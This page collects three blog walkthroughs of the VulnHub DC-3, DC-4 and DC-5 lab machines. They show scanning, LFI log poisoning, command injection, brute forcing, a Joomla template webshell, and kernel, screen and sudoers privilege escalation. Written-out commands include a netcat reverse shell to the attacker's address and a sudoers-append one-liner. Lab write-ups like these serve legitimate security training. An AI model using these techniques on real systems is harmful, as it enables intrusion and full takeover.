Tag: VulnHub

Hi All,

I’m back and finally ready to walkthrough DC-5 from VulnHub. This one was much harder than the previous DC boxes but teaches some important skills. You can also find my video walkthrough of it here. Now let’s get started.

We start off with our usual nmap scan.

Here we see a web port with nginx running. The nginx part will be important later. For now let’s just visit the website.

Navigating through the site doesn’t reveal much. Let’s run gobuster and see if we can find anything more.

gobuster dir -u 192.168.2.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

Running this command will produce the following results:

Most of these we’ve already seen just from navigating the site, however, thankyou.php is new. You can also find it by completing the contact form.

The thankyou.php page doesn’t look too interesting until you refresh it a few times

The footer changes dates. You can see where this is coming from by looking at footer.php from our gobuster scan. Since this is weird behavior, let’s try a local file inclusion (LFI) method and see if that works.

The ?file=/filepath is common but not exclusive. We could have used a program like wfuzz to run through multiple possibilities quickly, but we didn’t need to.

Now we can read any file we have rights to. Let’s see if we can find the log files. Remember the nmap scan? Because of that, we know that this server is nginx. Let’s see if we can read the configuration file for nginx. If you don’t know where it is, Google is your friend.

We now know where the access and error logs are stored. Let’s see if we can read those.

We can read them. If you get to this point and you can’t see the logs, try reverting the box. I had to do that a few times when the logs just wouldn’t show up.

We can also see our previous viewing of the password file and our user agent. From here, we can attempt to poison the logs and get code execution. We can do this by sending PHP code in our user agent string. I’m going to use curl to do this, but BurpSuite would work as well.

Here I sent the whoami command inside some PHP code as the user agent. Let’s check the log page now.

We have code execution! Let’s see if they have netcat installed. I’ll run the curl command again but change whoami to which nc.

Let’s hope it has the -e flag. First, we’ll setup our netcat listener (nc -nlvp 7777) and then send our netcat reverse shell to the logs. Once we refresh the log page, we should have a shell.

 

And we have a shell!

Let’s upgrade it with python

After the python command I’m pressing ctl-z to background the connection. Then I type stty raw -echo followed by fg to bring the connection back to the foreground (which you can’t see on the screen). That allows me to have ctl-c, tab auto complete, up arrow history etc.

Now it’s on to privilege escalation.

I’ll run linuxprivchecker.py (I’ve renamed it here to privcheck.py) but I’ll have to bring it over. To do that, I’ll start a python web server and then use wget to do the file transfer.

Now I can run it with python and view the results

This SUID set screen file stuck out to me as interesting. It’s not normal to see it here and screen is used for terminal sessions. I’ll run searchsploit against the version listed and see if I get any hits.

Ok it looks like it’s vulnerable to a privilege escalation exploit. There’s only one problem. It doesn’t work out of the box. The script doesn’t seem to follow the EOF markers like it should. It might be fixable as a whole, but it’s easier for me just to break it up manually. Thankfully the code isn’t too hard to follow.

There are three main stages to this exploit. Two compile steps and a final exploit step.

These three sections should be broken out as shown. The .c files should keep their names exactly. The sh file can be called whatever you want. Compile the .c files using the gcc commands in the script making sure to change the file paths to fit your environment. You’ll get some warnings, but that’s ok.

When you are done compiling, you should have a libhax.so, rootshell, and your script file.

Now I’ll bring the files over with wget.

Now I’ll set the script permissions to execute and run it.

And we’re root!!!

Now for the flag …

That’s DC-5. Like I said earlier, this was a lot harder than the previous DC boxes in the series. It does cover some solid techniques that pentesters should know. I did have a problem with the access logs not showing up at all. There were a few times I had to revert the box to get it to work which was really annoying.

Anyway, I hope you enjoyed the walkthrough. If you would like to see a video walkthrough that does a better job explaining the privilege escalation exploit, you can find it here.

 

Happy hacking!

-R3a50n

 

DC: 4 is another vulnerable machine hosted by VulnHub. This one the author rated a little tougher (beginner/intermediate), and that’s probably accurate. It’s not too tough but there’s certainly some things that would throw off beginners. Let’s jump in!

As usual we will start off with an nmap scan

namp -sC -sV -v 192.168.2.113 -oN map1

Here we see that port 22 and 80 are open. We can also see the version of nginx running.

You can run other nmap scans, but this is literally all that’s open. So, let’s check out the web page.

This is interesting, but that’s really all we get. The source page doesn’t reveal anything. Performing scans with gobuster, you can find some other directories and file name, but they all redirect back to this page. This really only leaves us with a couple of options. We can brute force this page, SSH, or try to find an exploit for nginx.

A quick search of nginx vulns doesn’t yield anything. We also don’t have any usernames for SSH. That leaves us with brute forcing this page.

There are a couple ways to go about this. We can use BurpSuite or Hydra. There are some issues though. The free version of BurpSuite will throttle (slow down) the brute force attempt as it goes along. It’s doable, but it takes a while.

Hydra does not have this issue, but the syntax is a lot more complicated. If not done correctly, it will give you false positives (that will actually still work if you keep the session alive).

For this walkthrough, I used BurpSuite Pro. It doesn’t have the throttling issue and is just easier to setup. It will work exactly the same as the free version. There’s just a speed difference. If you want to see how Hydra works with this, you can find a video walkthrough here where I go through it.

So start up BurpSuite, and set your browser proxy for http on 127.0.0.1 port 8080. I use the Firefox extension FoxyProxy but you can set it in options menu as well.

Now turn the proxy OFF just for the first interaction and put in admin for the username and test for the password and hit Submit.

The reason we turn it off the first time is because of the way it handles session cookies. You don’t have to turn it off, but then you’ll have to forward the first couple requests. It’s just faster to do it this way.

Now, turn the proxy on, re-enter the credentials, and press submit again. You should catch the request. If you’re trying the hydra route, you’ll need this session cookie and the request string at the bottom.

Now send it to intruder either with the right click menu or pressing ctl I and go to the positions tab.

Now, press the clear button, highlight the password variable (test in this case), and press the add button.

At this point you should only have the squiggly symbols around test.

Next go to the Payloads tab and press the Load button under the Payload section.

This will prompt for a word list. Do not use the rockyou wordlist in BurpSuite. It’s too big and it will crash. It’s fine for Hydra if you’re going that route.

I’m choosing a list from https://github.com/danielmiessler/SecLists. The nice thing is that the password can be found in many of these lists. I’ll go with the darkweb 2017 top 1000 this time.

Once it’s loaded, press Start attack.

Your output might vary slightly, but happy is the correct password. You’ll notice that everything after that password was entered will now authenticate. This is because of the session cookie. This is also why Hydra might show false positives.

Making sure that your proxy is off, login with the password happy (or anything else as long as you didn’t reset your session cookie).

Click on the command hyperlink.

On the command screen, you’ll see some options to run. Pick one of them and see what it does.

In my case, I chose to list files and it ran the ls -l command. Let’s catch it with our proxy and see if we can run other commands.

Once the command is caught, send it to Repeater using the right click menu or pressing ctl r. Notice that the command string is using a + for a space. We’ll need to remember that for later.

For now, change the command to whoami and click go

We have command injection! Let’s get a shell.

There’s a lot of ways you can do this. I used the which command (which netcat) to identify that netcat was on the box and used that.

Start a netcat listener on your attack machine.

nc -nlvp 7777

In the command, put in nc+-nv+192.168.2.30+7777+-e+/bin/bash

Make sure you have the right IP and port for your machine, and that the syntax is correct. An error here can easily hang this box and you’ll have to restart it. If you didn’t get the right password, this would be extra frustrating. 😊

Next press Go and you should be presented with a shell.

Let’s upgrade it with python

python -c ‘import pty; pty.spawn(“/bin/bash”)’

Now let’s see what we can get into.

We can’t sudo because we don’t know the www-data password. There’s no database running (like with WordPress) so we can’t look for those credentials. Let’s look at the user directories and see if there’s anything interesting there.

Inside the /home/jim directory there’s a backup folder with a listing of passwords.

Since we have usernames and a password list, let’s brute force SSH starting with Jim’s account.

For this, we’ll use Hydra. Copy over the list first. You can use a variety of methods, but the most straight forward approach is to just copy and paste it. Then launch hydra

hydra -l jim -P pass.txt ssh://192.168.2.113

After a little bit, hydra comes back with the password jibril04

Now we can ssh in as Jim.

Jim doesn’t have sudo permissions either, so let’s go back to his directory and look at some of the files we couldn’t get to before.

Looking at mbox, we can see a test email sent by root. There seems to be a vulnerable version of Exim running, but I couldn’t get that exploit to work.

Let’s see if there’s other mail we can read in the mail folder. It’s kept in /var/mail

Inside the mail directory is an email to Jim with Charles’s password. Let’s su to Charles.

Now that we’re Charles, we find that sudo is available for a program called teehee.

Running this program produced something that looked like echo. Whenever a command was entered, it just spit it back out.

Let’s look at the help file.

It looks like it has some sort of file write capabilities, but I was a little lost on how to use it. I also couldn’t find any reference to this binary on Google. I then went to GTFOBins https://gtfobins.github.io/ to see if it was mentioned there.

While they didn’t have anything for teehee, they did have something for tee. That made me think that the binaries might be similar. I did a help on tee.

Notice anything? The help file is exactly the same.

We should be able to use the commands in GTFOBins to get root. The way tee (or teehee in this case) is that it writes to a file AND to standard output. This is useful when you want to capture output of a command and see it run at the same time.

In this case, we can use our sudo permissions to write our output to any file. There are some options here. You could write to the shadow file and make yourself root, or you can write to sudoers and sudo to root. I’m going to go the sudo route.

We will echo the parameters we want to write to sudoers and pipe it to teehee which will append the output (the parameter itself) to the sudoers file. It will look like this:

echo “charles  ALL=(ALL:ALL) ALL” | sudo teehee -a /etc/sudoers

Once we have that in, we can sudo to root.

And we’re root!!

Let’s get the flag!

That’s all for DC: 4. It was a little more challenging than the others, but still not too hard for beginners. If you want to see a video walkthrough where I also show how to use Hydra you can find it here.

DC: 5 is next on the list.

 

Happy Hacking

-R3a50n

Next in the VulnHub DC series is DC: 3 and while it’s still for beginners, it’s little more challenging than the first two. If you’d rather see a video walkthrough, you can find it here.

The first thing we’ll run is an Nmap scan: nmap -sC -sV -v 192.168.2.112 -oN map1

The only port that’s listed is 80 and it’s a Joomla site. Let’s check it out.

Ok, so there’s not much here other than a note letting us know that there’s not going to be flags or hints with this challenge. Since this is Joomla, let’s run joomscan. If you don’t have it, you can find it here https://github.com/rezasp/joomscan.

./joomscan.pl -u http://192.168.2.112

So here we found two useful things. We found the version number (3.7.0) and an administrator login page. We’ll come back to the admin page later. Let’s see if the version is vulnerable.

A quick Google search yielded a lot of results including the following page with a list of PoC code.

Joomblah, sounded somewhat familiar to me (I probably read something about it when it was released) so I went for that one first.

After downloading the raw python code, you simply run it against the URL.

python joomblah.py http://192.168.2.112

Here we are awarded with the hash for the admin account. Time to get cracking!

Now it’s easy to assume that this hash will be a Joomla hash (type 400 in hashcat), but it’s not. Hashcat will give you a length error or something like that.

Online tools and things like hash-identifier in Kali couldn’t tell me what it was either. In the end, I just browsed through the hashcat examples until I found one that looked similar.

Next I ran hashcat and was rewarded with the password snoopy.

Hashcat64.exe -m 3200 joomhash.txt rockyou.txt

Now we can log into the joomla site, but we don’t want to do it from the main page. We want the administrator page that was identified earlier.

Now we need to find a place that we can either upload code or write code. Joomla has templates which contain php code. If you didn’t know that, you can find it just by navigating through the different site options, or do a Google search for Joomla shell.

So I chose this modules.php file, but really any of them should work. The important thing is that you find the path. In this case, the path can easily be found through some trial and error. First check for a templates directory. Then beez3 followed by html. If you didn’t realize there was a templates directory, then a bruteforcer like gobuster would have found it for you.

Anyway, you should see a directory listing for /templates/beez3/html/

The next thing we need is some php code. Using the command locate webshell on our Kali box presents us with a bunch of options. I like the php-reverse-shell.php.

Once copied over, just make sure to change the port and IP address so it will call back to the attack system.

Now we’ll overwrite all of code in modules.php with our php code (you might want to make a backup of the modules.php code first). Also double check and make sure you IP and port are correct.

Now let’s start up a listener.

nc -nlvp 7777

Now we click on the modules.php file and we get a shell!

 

Let’s upgrade the shell to support tty. This box only has python3 so we’ll make sure to specify that in the command.

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

Now it’s time for privilege escalation. Unlike DC: 1 and DC: 2, sudo and su are not going to help us. Let’s take a look at the kernel and see if we can find an exploit there. These two commands will help with enumerating versions.

uname -a

cat /etc/lsb-release

Another thing we can do is run an exploit suggester. I like this one: https://github.com/mzet-/linux-exploit-suggester

Since I already have it on my Kali box, I’ll just pull it over from there. First I’ll start a python http server. Also note that I changed the name of the file to linsug.sh because I hate long file names. 😊

python -m SimpleHTTPServer 80

Then I’ll use wget to bring it over to the DC: 3 box.

wget 192.168.2.16/linsug.sh

We’ll also need to make the file executable.

chmod +x linsug.sh

Now run the file with ./linsug.sh

So here’s where you have to start digging in. Not all of these are going to work. Some of them flat out say they are not reliable. A couple of the exploits suggested are Dirty Cow which I’ve used on a few other occasions. I, however, could not make it work.

One of the first on the list, was put out by project-zero. It seemed to fit the environment and gave a link to the exploit code so I gave it a shot.

I pulled it over to the box with the same python server we used before. Now run the following commands to extract it.

unzip 39772.zip

cd 39772

tar -xvf exploit.tar

Now navigate to the ebpf_mapfd_doubleput_exploit directory

Now run chmod +x on compile.sh and run it ./compile.sh. You should end up with a file called doubleput. It threw some errors for me, but it still seemed to work.

Now run doubleput. ./doubleput

And we’re root!!!

Now let’s get the flag!

 

That’s it for DC: 3. It was a decent step up in difficulty from the last two boxes, but still not too bad to work through. I hope you found the walkthrough helpful. DC:4 is next! If you want to see a video walkthrough where I use SQLmap instead of Joomblah to get the hash, you can find it here.

 

Happy Hacking,

-R3a50n